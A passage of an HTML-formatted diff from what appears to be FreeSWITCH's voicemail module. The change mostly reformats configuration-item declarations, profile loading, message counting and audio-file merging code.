</span><del>-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "file-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->file_ext, "wav", &config_file_ext, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-title", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->record_title, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-comment", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->record_comment, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-copyright", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->record_copyright, "http://www.freeswitch.org", &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->operator_ext, "", &profile->config_str_pool, NULL, NULL);
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "file-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->file_ext, "wav", &config_file_ext, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-title", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->record_title, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-comment", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->record_comment, "FreeSWITCH Voicemail", &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-copyright", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->record_copyright, "http://www.freeswitch.org", &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "operator-extension", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->operator_ext, "", &profile->config_str_pool, NULL, NULL);
</ins><span class="cx">
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "tone-spec", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->tone_spec, "%(1000, 0, 640)", &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "storage-dir", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->storage_dir, "", &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-dialplan", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->callback_dialplan, "XML", &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-context", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->callback_context, "default", &profile->config_str_pool, NULL, NULL);
-                
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->notify_email_body, NULL, &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->notify_email_headers, NULL, &profile->config_str_pool, NULL, NULL);
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "tone-spec", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->tone_spec, "%(1000, 0, 640)", &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "storage-dir", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->storage_dir, "", &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-dialplan", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->callback_dialplan, "XML", &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "callback-context", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->callback_context, "default", &profile->config_str_pool, NULL, NULL);
</ins><span class="cx">
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-date-announcement", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE,
-                &profile->play_date_announcement, VM_DATE_FIRST, &config_play_date_announcement, NULL, NULL);
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->notify_email_body, NULL, &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "notify-email-headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->notify_email_headers, NULL, &profile->config_str_pool, NULL, NULL);
</ins><span class="cx">
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "convert-cmd", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "play-date-announcement", SWITCH_CONFIG_ENUM, CONFIG_RELOADABLE,
+                                                 &profile->play_date_announcement, VM_DATE_FIRST, &config_play_date_announcement, NULL, NULL);
+
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "convert-cmd", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</ins><span class="cx">                                                  &profile->convert_cmd, NULL, &profile->config_str_pool, NULL, NULL);
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "convert-ext", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "convert-ext", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
</ins><span class="cx">                                                  &profile->convert_ext, NULL, &profile->config_str_pool, NULL, NULL);
</span><span class="cx">
</span><del>-        
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
-                &profile->digit_timeout, 10000, &config_int_digit_timeout, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-login-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
-                &profile->max_login_attempts, 3, &config_int_max_logins, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
-                &profile->min_record_len, 3, &config_int_0_10000, "seconds", NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
-                &profile->max_record_len, 300, &config_int_0_1000, "seconds", NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-retries", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
-                &profile->max_retries, 3, &config_int_ht_0, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-threshold", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
-                &profile->record_threshold, 200, &config_int_0_10000, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-hits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
-                &profile->record_silence_hits, 2, &config_int_0_1000, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "record-sample-rate", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
-                &profile->record_sample_rate, 0, NULL, vm_config_validate_samplerate, NULL, NULL);
</del><span class="cx">
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->email_headers, NULL, &profile->config_str_pool, NULL, NULL);        
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->email_body, NULL, &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_email-from", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->email_from, NULL, &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_date-fmt", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
-                &profile->date_fmt, "%A, %B %d %Y, %I %M %p", &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "odbc-dsn", SWITCH_CONFIG_STRING, 0,
-                &profile->odbc_dsn, NULL, &profile->config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
-                NULL, NULL, profile, vm_config_email_callback, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_notify-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
-                NULL, NULL, profile, vm_config_notify_callback, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "web-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
-                NULL, NULL, profile, vm_config_web_callback, NULL, NULL);
-                
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                 &profile->digit_timeout, 10000, &config_int_digit_timeout, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-login-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                 &profile->max_login_attempts, 3, &config_int_max_logins, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                 &profile->min_record_len, 3, &config_int_0_10000, "seconds", NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-record-len", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                 &profile->max_record_len, 300, &config_int_0_1000, "seconds", NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-retries", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                 &profile->max_retries, 3, &config_int_ht_0, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-threshold", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                 &profile->record_threshold, 200, &config_int_0_10000, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "record-silence-hits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                 &profile->record_silence_hits, 2, &config_int_0_1000, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "record-sample-rate", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                                        &profile->record_sample_rate, 0, NULL, vm_config_validate_samplerate, NULL, NULL);
+
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_headers", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->email_headers, NULL, &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_body", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->email_body, NULL, &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_email-from", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->email_from, NULL, &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "email_date-fmt", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                 &profile->date_fmt, "%A, %B %d %Y, %I %M %p", &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile->config[i++], "odbc-dsn", SWITCH_CONFIG_STRING, 0, &profile->odbc_dsn, NULL, &profile->config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+                                                                        NULL, NULL, profile, vm_config_email_callback, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "email_notify-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+                                                                        NULL, NULL, profile, vm_config_notify_callback, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile->config[i++], "web-template-file", SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+                                                                        NULL, NULL, profile, vm_config_web_callback, NULL, NULL);
+
</ins><span class="cx">         switch_assert(i < VM_PROFILE_CONFIGITEM_COUNT);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return profile;
</span><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static vm_profile_t * load_profile(const char *profile_name)
</del><ins>+static vm_profile_t *load_profile(const char *profile_name)
</ins><span class="cx"> {
</span><span class="cx">         vm_profile_t *profile = NULL;
</span><span class="cx">         switch_xml_t x_profiles, x_profile, cfg, xml, x_email, param;
</span><span class="lines">@@ -652,26 +644,25 @@
</span><span class="cx">                         if ((param = switch_xml_child(x_email, "headers"))) {
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "email_headers", param->txt);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (param = switch_xml_child(x_email, "param"); param; param = param->next) {
</span><span class="cx">                                 char *var, *val;
</span><span class="cx">                                 char buf[2048];
</span><del>-                                
-                                if ((var = (char *) switch_xml_attr_soft(param, "name")) &&
-                                        (val = (char *) switch_xml_attr_soft(param, "value"))) {
</del><ins>+
+                                if ((var = (char *) switch_xml_attr_soft(param, "name")) && (val = (char *) switch_xml_attr_soft(param, "value"))) {
</ins><span class="cx">                                         switch_snprintf(buf, 2048, "email_%s", var);
</span><del>-                                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, buf, val);                                        
</del><ins>+                                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, buf, val);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_xml_config_parse_event(event, count, SWITCH_FALSE, profile->config) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to process configuration\n");
</span><span class="cx">                         switch_core_destroy_memory_pool(&pool);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_rwlock_create(&profile->rwlock, pool);
</span><span class="cx">                 profile->name = switch_core_strdup(pool, profile_name);
</span><span class="cx">
</span><span class="lines">@@ -690,13 +681,14 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot open DB!\n");
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
-                switch_cache_db_test_reactive(dbh, "select count(forwarded_by) from voicemail_msgs", NULL, "alter table voicemail_msgs add forwarded_by varchar(255)");
</del><ins>+
+                switch_cache_db_test_reactive(dbh, "select count(forwarded_by) from voicemail_msgs", NULL,
+                                                                         "alter table voicemail_msgs add forwarded_by varchar(255)");
</ins><span class="cx">                 switch_cache_db_test_reactive(dbh, "select count(forwarded_by) from voicemail_msgs", "drop table voicemail_msgs", vm_sql);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_cache_db_test_reactive(dbh, "select count(username) from voicemail_prefs", "drop table voicemail_prefs", vm_pref_sql);
</span><span class="cx">                 switch_cache_db_test_reactive(dbh, "select count(password) from voicemail_prefs", NULL, "alter table voicemail_prefs add password varchar(255)");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (x = 0; vm_index_list[x]; x++) {
</span><span class="cx">                         errmsg = NULL;
</span><span class="cx">                         switch_cache_db_execute_sql(dbh, vm_index_list[x], &errmsg);
</span><span class="lines">@@ -724,17 +716,17 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static vm_profile_t * get_profile(const char *profile_name)
</del><ins>+static vm_profile_t *get_profile(const char *profile_name)
</ins><span class="cx"> {
</span><span class="cx">         vm_profile_t *profile = NULL;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
</span><del>-         profile = load_profile(profile_name);
</del><ins>+                profile = load_profile(profile_name);
</ins><span class="cx">         }
</span><span class="cx">         if (profile) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "[%s] rwlock\n", profile->name);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_rwlock_rdlock(profile->rwlock);
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="lines">@@ -894,7 +886,7 @@
</span><span class="cx">         switch_copy_string(cbt->name_path, argv[2], sizeof(cbt->name_path));
</span><span class="cx">         switch_copy_string(cbt->greeting_path, argv[3], sizeof(cbt->greeting_path));
</span><span class="cx">         switch_copy_string(cbt->password, argv[4], sizeof(cbt->password));
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1011,16 +1003,16 @@
</span><span class="cx"> static int message_count_callback(void *pArg, int argc, char **argv, char **columnNames)
</span><span class="cx"> {
</span><span class="cx">         msg_cnt_callback_t *cbt = (msg_cnt_callback_t *) pArg;
</span><del>-        if (atoi(argv[0]) == 1) { /* UnRead */
-                if (!strcasecmp(argv[1], "A_URGENT")) { /* Urgent */
</del><ins>+        if (atoi(argv[0]) == 1) {        /* UnRead */
+                if (!strcasecmp(argv[1], "A_URGENT")) {        /* Urgent */
</ins><span class="cx">                         cbt->total_new_urgent_messages = atoi(argv[2]);
</span><del>-                } else { /* Normal */
</del><ins>+                } else {                                /* Normal */
</ins><span class="cx">                         cbt->total_new_messages = atoi(argv[2]);
</span><span class="cx">                 }
</span><del>-        } else { /* Already Read */
-                if (!strcasecmp(argv[1], "A_URGENT")) { /* Urgent */
</del><ins>+        } else {                                        /* Already Read */
+                if (!strcasecmp(argv[1], "A_URGENT")) {        /* Urgent */
</ins><span class="cx">                         cbt->total_saved_urgent_messages = atoi(argv[2]);
</span><del>-                } else { /* Normal */
</del><ins>+                } else {                                /* Normal */
</ins><span class="cx">                         cbt->total_saved_messages = atoi(argv[2]);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -1058,16 +1050,12 @@
</span><span class="cx">
</span><span class="cx"> switch_status_t measure_file_len(const char *path, switch_size_t *message_len)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_file_handle_t fh = { 0 };
</span><span class="cx">         uint32_t pos = 0;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><del>-        if (switch_core_file_open(&fh,
-                                                         path,
-                                                         0,
-                                                         0,
-                                                         SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_core_file_open(&fh, path, 0, 0, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">
</span><span class="cx">                 if (switch_core_file_seek(&fh, &pos, 0, SEEK_END) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         *message_len = pos / fh.samplerate;
</span><span class="lines">@@ -1075,7 +1063,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_core_file_close(&fh);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx">
</span><span class="cx"> }
</span><span class="lines">@@ -1091,10 +1079,10 @@
</span><span class="cx">         char term;
</span><span class="cx">         char input[10] = "", key_buf[80] = "";
</span><span class="cx">         cc_t cc = { 0 };
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int got_file = 0;
</span><span class="cx">
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (exit_keys) {
</span><span class="lines">@@ -1108,7 +1096,8 @@
</span><span class="cx">          record_file:
</span><span class="cx">                 *message_len = 0;
</span><span class="cx">
</span><del>-                if (macro_name) TRY_CODE(switch_ivr_phrase_macro(session, macro_name, NULL, NULL, NULL));
</del><ins>+                if (macro_name)
+                        TRY_CODE(switch_ivr_phrase_macro(session, macro_name, NULL, NULL, NULL));
</ins><span class="cx">                 switch_channel_flush_dtmf(channel);
</span><span class="cx">                 TRY_CODE(switch_ivr_gentones(session, profile->tone_spec, 0, NULL));
</span><span class="cx">
</span><span class="lines">@@ -1152,7 +1141,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (profile->auto_playback_recordings) {
</span><del>-                play_file:
</del><ins>+                 play_file:
</ins><span class="cx">                         memset(&fh, 0, sizeof(fh));
</span><span class="cx">                         args.input_callback = control_playback;
</span><span class="cx">                         memset(&cc, 0, sizeof(cc));
</span><span class="lines">@@ -1170,7 +1159,7 @@
</span><span class="cx">                                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                 *cc.buf = '\0';
</span><span class="cx">                         } else {
</span><del>-                                (void)vm_macro_get(session, VM_RECORD_FILE_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout);
</del><ins>+                                (void) vm_macro_get(session, VM_RECORD_FILE_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout);
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (!strcmp(input, profile->listen_file_key)) {
</span><span class="lines">@@ -1178,7 +1167,7 @@
</span><span class="cx">                         } else if (!strcmp(input, profile->record_file_key)) {
</span><span class="cx">                                 goto record_file;
</span><span class="cx">                         } else {
</span><del>-                                (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, "saved", NULL, NULL);
</del><ins>+                                (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, "saved", NULL, NULL);
</ins><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -1212,7 +1201,7 @@
</span><span class="cx">         int index;
</span><span class="cx">         int want;
</span><span class="cx">         msg_type_t type;
</span><del>-        msg_move_t move;
</del><ins>+        msg_move_t move;
</ins><span class="cx">         char *convert_cmd;
</span><span class="cx">         char *convert_ext;
</span><span class="cx"> };
</span><span class="lines">@@ -1252,18 +1241,17 @@
</span><span class="cx">         switch_event_create(&params, SWITCH_EVENT_GENERAL);
</span><span class="cx">         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "action", action);
</span><span class="cx">
</span><del>-        if (switch_xml_locate_user("id", myid, domain_name, NULL,
-                                                         &xx_domain_root, &xx_domain, &xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_xml_locate_user("id", myid, domain_name, NULL, &xx_domain_root, &xx_domain, &xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 ret = strdup(switch_xml_attr(xx_user, "id"));
</span><span class="cx">                 switch_xml_free(xx_domain_root);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_destroy(&params);
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void message_count(vm_profile_t *profile, const char *id_in, const char *domain_name, const char *myfolder, int *total_new_messages,
-                int *total_saved_messages, int *total_new_urgent_messages, int *total_saved_urgent_messages)
</del><ins>+static void message_count(vm_profile_t *profile, const char *id_in, const char *domain_name, const char *myfolder, int *total_new_messages,
+                                                 int *total_saved_messages, int *total_new_urgent_messages, int *total_saved_urgent_messages)
</ins><span class="cx"> {
</span><span class="cx">         char msg_count[80] = "";
</span><span class="cx">         msg_cnt_callback_t cbt = { 0 };
</span><span class="lines">@@ -1283,7 +1271,7 @@
</span><span class="cx">
</span><span class="cx">         switch_snprintf(sql, sizeof(sql),
</span><span class="cx">                                         "select read_epoch=0, read_flags, count(read_epoch) from voicemail_msgs where username='%s' and domain='%s' and in_folder='%s' group by read_epoch=0,read_flags;",
</span><del>-                                                myid, domain_name, myfolder);
</del><ins>+                                        myid, domain_name, myfolder);
</ins><span class="cx">
</span><span class="cx">         vm_execute_sql_callback(profile, profile->mutex, sql, message_count_callback, &cbt);
</span><span class="cx">
</span><span class="lines">@@ -1301,8 +1289,9 @@
</span><span class="cx">
</span><span class="cx"> static char *vm_merge_file(switch_core_session_t *session, vm_profile_t *profile, const char *announce, const char *orig)
</span><span class="cx"> {
</span><del>-        switch_channel_t *channel = switch_core_session_get_channel(session);        
-        switch_file_handle_t lrfh = { 0 }, *rfh = NULL, lfh = { 0 }, *fh = NULL;
</del><ins>+        switch_channel_t *channel = switch_core_session_get_channel(session);
+        switch_file_handle_t lrfh = { 0 }, *rfh = NULL, lfh = {
+        0}, *fh = NULL;
</ins><span class="cx">         char *tmp_path;
</span><span class="cx">         switch_uuid_t uuid;
</span><span class="cx">         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="lines">@@ -1310,8 +1299,8 @@
</span><span class="cx">         int16_t *abuf = NULL;
</span><span class="cx">         switch_size_t olen = 0;
</span><span class="cx">         int asis = 0;
</span><del>- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         switch_uuid_get(&uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &uuid);
</span><span class="lines">@@ -1324,20 +1313,18 @@
</span><span class="cx">         if (switch_core_file_open(&lfh,
</span><span class="cx">                                                          tmp_path,
</span><span class="cx">                                                          lfh.channels,
</span><del>-                                                         read_impl.actual_samples_per_second,
-                                                         SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                         read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failed to open file %s\n", tmp_path);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         fh = &lfh;
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         if (switch_core_file_open(&lrfh,
</span><span class="cx">                                                          announce,
</span><span class="cx">                                                          lfh.channels,
</span><del>-                                                         read_impl.actual_samples_per_second,
-                                                         SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                         read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failed to open file %s\n", announce);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -1348,7 +1335,7 @@
</span><span class="cx">
</span><span class="cx">         if (switch_test_flag(fh, SWITCH_FILE_NATIVE)) {
</span><span class="cx">                 asis = 1;
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         while (switch_channel_ready(channel)) {
</span><span class="cx">                 olen = VM_STARTSAMPLES;
</span><span class="lines">@@ -1360,7 +1347,7 @@
</span><span class="cx">                 if (switch_core_file_read(rfh, abuf, &olen) != SWITCH_STATUS_SUCCESS || !olen) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_file_write(fh, abuf, &olen);
</span><span class="cx">
</span><span class="cx">         }
</span><span class="lines">@@ -1373,8 +1360,7 @@
</span><span class="cx">         if (switch_core_file_open(&lrfh,
</span><span class="cx">                                                          orig,
</span><span class="cx">                                                          lfh.channels,
</span><del>-                                                         read_impl.actual_samples_per_second,
-                                                         SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                         read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failed to open file %s\n", orig);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -1391,7 +1377,7 @@
</span><span class="cx">                 if (switch_core_file_read(rfh, abuf, &olen) != SWITCH_STATUS_SUCCESS || !olen) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
